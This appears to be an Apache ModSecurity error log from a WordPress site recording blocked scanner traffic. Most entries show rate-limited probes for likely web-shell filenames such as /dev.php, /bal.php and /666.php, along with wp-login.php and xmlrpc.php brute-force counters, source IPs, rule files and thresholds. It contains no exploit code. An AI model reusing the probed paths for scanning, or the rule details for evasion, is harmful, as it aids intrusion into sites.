[Wed Apr 22 04:03:04.559520 2026] [:error] [pid 21788:tid 21793] [client 51.103.104.209:43377] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aefX-H7OM27rzVpef245SAAAAMM"]
[Wed Apr 22 04:03:06.602832 2026] [:error] [pid 23041:tid 23061] [client 51.103.104.209:47303] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aefX-kTXx_lUa7xwAb52BAAAARE"]
[Wed Apr 22 04:03:07.404187 2026] [:error] [pid 21788:tid 21799] [client 51.103.104.209:59719] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aefX-37OM27rzVpef245TAAAAMk"]
[Wed Apr 22 04:03:08.669280 2026] [:error] [pid 21681:tid 21706] [client 51.103.104.209:50335] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aefX_N5LmJziq-yZYawPEQAAABA"]
[Wed Apr 22 04:03:09.937309 2026] [:error] [pid 23041:tid 23062] [client 51.103.104.209:47590] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aefX_UTXx_lUa7xwAb52DQAAARI"]
[Wed Apr 22 04:03:11.317336 2026] [:error] [pid 21682:tid 21747] [client 51.103.104.209:47326] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aefX_5lXWQZUlmPHS3rN_AAAAFg"]
[Wed Apr 22 04:03:12.149207 2026] [:error] [pid 23041:tid 23060] [client 51.103.104.209:6139] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bal.php"] [unique_id "aefYAETXx_lUa7xwAb52FQAAARA"]
[Wed Apr 22 04:03:13.882565 2026] [:error] [pid 23041:tid 23052] [client 51.103.104.209:38809] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aefYAUTXx_lUa7xwAb52GwAAAQg"]
[Wed Apr 22 04:03:14.882570 2026] [:error] [pid 23041:tid 23064] [client 51.103.104.209:47320] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aefYAkTXx_lUa7xwAb52IAAAARQ"]
[Wed Apr 22 04:03:15.845317 2026] [:error] [pid 21788:tid 21801] [client 51.103.104.209:6105] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/in.php"] [unique_id "aefYA37OM27rzVpef245UwAAAMs"]
[Wed Apr 22 04:03:44.657483 2026] [:error] [pid 23041:tid 23066] [client 164.90.143.116:63359] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aefYIETXx_lUa7xwAb52agAAARY"]
[Wed Apr 22 04:05:59.237041 2026] [:error] [pid 23041:tid 23067] [client 51.103.104.209:44411] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aefYp0TXx_lUa7xwAb535QAAARc"]
[Wed Apr 22 04:06:04.320837 2026] [:error] [pid 21788:tid 21798] [client 51.103.104.209:47050] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aefYrH7OM27rzVpef246qQAAAMg"]
[Wed Apr 22 04:06:05.720678 2026] [:error] [pid 21683:tid 21758] [client 51.103.104.209:46265] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aefYrVZBWT-0diZyYyZVOwAAAIg"]
[Wed Apr 22 04:06:07.416102 2026] [:error] [pid 23041:tid 23051] [client 51.103.104.209:64716] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file18.php"] [unique_id "aefYr0TXx_lUa7xwAb54DQAAAQc"]
[Wed Apr 22 04:06:09.733566 2026] [:error] [pid 21681:tid 21713] [client 51.103.104.209:50716] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aefYsd5LmJziq-yZYawQEAAAABc"]
[Wed Apr 22 04:06:11.102942 2026] [:error] [pid 21681:tid 21711] [client 51.103.104.209:47920] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aefYs95LmJziq-yZYawQGAAAABU"]
[Wed Apr 22 04:06:13.088196 2026] [:error] [pid 21681:tid 21710] [client 51.103.104.209:61461] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aefYtd5LmJziq-yZYawQJQAAABQ"]
[Wed Apr 22 04:06:13.908714 2026] [:error] [pid 21682:tid 21740] [client 51.103.104.209:47885] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vee.php"] [unique_id "aefYtZlXWQZUlmPHS3rOsQAAAFE"]
[Wed Apr 22 04:06:14.797743 2026] [:error] [pid 21681:tid 21698] [client 51.103.104.209:38742] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cabs.php"] [unique_id "aefYtt5LmJziq-yZYawQLAAAAAg"]
[Wed Apr 22 04:06:15.533397 2026] [:error] [pid 21681:tid 21709] [client 51.103.104.209:37887] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cabs.php"] [unique_id "aefYt95LmJziq-yZYawQLgAAABM"]
[Wed Apr 22 04:06:16.149838 2026] [:error] [pid 21681:tid 21693] [client 51.103.104.209:38766] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cabs.php"] [unique_id "aefYuN5LmJziq-yZYawQMQAAAAM"]
[Wed Apr 22 04:06:16.973749 2026] [:error] [pid 21683:tid 21764] [client 51.103.104.209:44689] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cabs.php"] [unique_id "aefYuFZBWT-0diZyYyZVSgAAAI4"]
[Wed Apr 22 04:06:18.292429 2026] [:error] [pid 21683:tid 21761] [client 51.103.104.209:43995] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aefYulZBWT-0diZyYyZVUgAAAIs"]
[Wed Apr 22 04:06:20.223199 2026] [:error] [pid 21681:tid 21714] [client 51.103.104.209:56805] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aefYvN5LmJziq-yZYawQOgAAABg"]
[Wed Apr 22 04:06:21.487460 2026] [:error] [pid 23041:tid 23060] [client 51.103.104.209:5445] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aefYvUTXx_lUa7xwAb54GgAAARA"]
[Wed Apr 22 04:06:22.748348 2026] [:error] [pid 23041:tid 23055] [client 51.103.104.209:43986] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "aefYvkTXx_lUa7xwAb54IgAAAQs"]
[Wed Apr 22 04:06:23.544171 2026] [:error] [pid 23041:tid 23056] [client 51.103.104.209:46056] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "aefYv0TXx_lUa7xwAb54KQAAAQw"]
[Wed Apr 22 04:06:24.611350 2026] [:error] [pid 23041:tid 23055] [client 51.103.104.209:49156] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "aefYwETXx_lUa7xwAb54MQAAAQs"]
[Wed Apr 22 04:06:25.295375 2026] [:error] [pid 21788:tid 21796] [client 51.103.104.209:44029] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "aefYwX7OM27rzVpef246sgAAAMY"]
[Wed Apr 22 04:06:28.058631 2026] [:error] [pid 21682:tid 21734] [client 51.103.104.209:46062] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1da.php"] [unique_id "aefYxJlXWQZUlmPHS3rOxAAAAEs"]
[Wed Apr 22 04:06:29.341963 2026] [:error] [pid 21788:tid 21797] [client 51.103.104.209:62261] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aefYxX7OM27rzVpef246uQAAAMc"]
[Wed Apr 22 04:06:31.854306 2026] [:error] [pid 21788:tid 21790] [client 51.103.104.209:64122] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aefYx37OM27rzVpef246vQAAAMA"]
[Wed Apr 22 04:06:33.875951 2026] [:error] [pid 23041:tid 23045] [client 51.103.104.209:43994] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aefYyUTXx_lUa7xwAb54SwAAAQE"]
[Wed Apr 22 04:06:35.363792 2026] [:error] [pid 21682:tid 21727] [client 51.103.104.209:38336] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "aefYy5lXWQZUlmPHS3rOywAAAEQ"]
[Wed Apr 22 04:06:37.263439 2026] [:error] [pid 21788:tid 21793] [client 51.103.104.209:64124] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aefYzX7OM27rzVpef246ywAAAMM"]
[Wed Apr 22 04:06:38.578055 2026] [:error] [pid 21681:tid 21714] [client 51.103.104.209:47009] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aefYzt5LmJziq-yZYawQWAAAABg"]
[Wed Apr 22 04:06:40.177033 2026] [:error] [pid 21682:tid 21741] [client 51.103.104.209:49628] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aefY0JlXWQZUlmPHS3rOzQAAAFI"]
[Wed Apr 22 04:06:40.875115 2026] [:error] [pid 23041:tid 23053] [client 51.103.104.209:49657] [client 51.103.104.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aefY0ETXx_lUa7xwAb54XQAAAQk"]
[Wed Apr 22 04:21:37.520191 2026] [:error] [pid 23041:tid 23050] [client 164.90.143.116:60530] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aefcUUTXx_lUa7xwAb6IGQAAAQY"]
[Wed Apr 22 05:18:54.778704 2026] [:error] [pid 23041:tid 23060] [client 20.237.8.18:16128] [client 20.237.8.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.237.8.18, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aefpvkTXx_lUa7xwAb6uKAAAARA"]
[Wed Apr 22 06:27:51.479861 2026] [:error] [pid 31651:tid 31678] [client 158.173.67.227:37931] [client 158.173.67.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.173.67.227, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aef55wc7sqDjkcbYklVLPgAAAZg"]
[Wed Apr 22 07:02:53.445432 2026] [:error] [pid 31756:tid 31801] [client 182.42.110.255:56516] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aegCHd_WbkXbHaEfhd3aHQAAAkk"]
[Wed Apr 22 07:55:24.577070 2026] [:error] [pid 32053:tid 32070] [client 195.242.102.130:40024] [client 195.242.102.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.242.102.130, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aegObAzPjXx_ocfbYhs7YAAAA08"]
[Wed Apr 22 07:58:46.565938 2026] [:error] [pid 31755:tid 31774] [client 20.215.187.59:59800] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aegPNgz2mYMkg3X8q1uEZQAAAgs"]
[Wed Apr 22 07:58:47.939928 2026] [:error] [pid 31756:tid 31798] [client 20.215.187.59:62035] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aegPN9_WbkXbHaEfhd3oZQAAAkY"]
[Wed Apr 22 07:58:49.391549 2026] [:error] [pid 31755:tid 31770] [client 20.215.187.59:7945] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aegPOQz2mYMkg3X8q1uEbQAAAgc"]
[Wed Apr 22 07:58:51.059538 2026] [:error] [pid 32095:tid 32116] [client 20.215.187.59:62028] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aegPO9fu5Cv628YPe598AAAAA5I"]
[Wed Apr 22 07:58:52.663266 2026] [:error] [pid 31756:tid 31807] [client 20.215.187.59:40573] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aegPPN_WbkXbHaEfhd3oawAAAk8"]
[Wed Apr 22 07:58:54.547082 2026] [:error] [pid 21682:tid 21732] [client 20.215.187.59:62076] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aegPPplXWQZUlmPHS3oYQwAAAEk"]
[Wed Apr 22 07:58:56.026177 2026] [:error] [pid 32095:tid 32103] [client 20.215.187.59:40558] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aegPQNfu5Cv628YPe598AgAAA4U"]
[Wed Apr 22 07:58:58.714715 2026] [:error] [pid 31756:tid 31796] [client 20.215.187.59:20361] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aegPQt_WbkXbHaEfhd3odQAAAkQ"]
[Wed Apr 22 07:59:02.442680 2026] [:error] [pid 31844:tid 31860] [client 20.215.187.59:7938] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aegPRmtAU9CprTB4b3I1fAAAAo4"]
[Wed Apr 22 07:59:03.862125 2026] [:error] [pid 31755:tid 31770] [client 20.215.187.59:22679] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aegPRwz2mYMkg3X8q1uEgwAAAgc"]
[Wed Apr 22 07:59:04.913519 2026] [:error] [pid 23041:tid 23045] [client 20.215.187.59:22668] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aegPSETXx_lUa7xwAb4GcwAAAQE"]
[Wed Apr 22 07:59:11.603503 2026] [:error] [pid 21682:tid 21733] [client 20.215.187.59:62061] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aegPT5lXWQZUlmPHS3oYUwAAAEo"]
[Wed Apr 22 07:59:13.556542 2026] [:error] [pid 21682:tid 21730] [client 20.215.187.59:20379] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aegPUZlXWQZUlmPHS3oYXQAAAEc"]
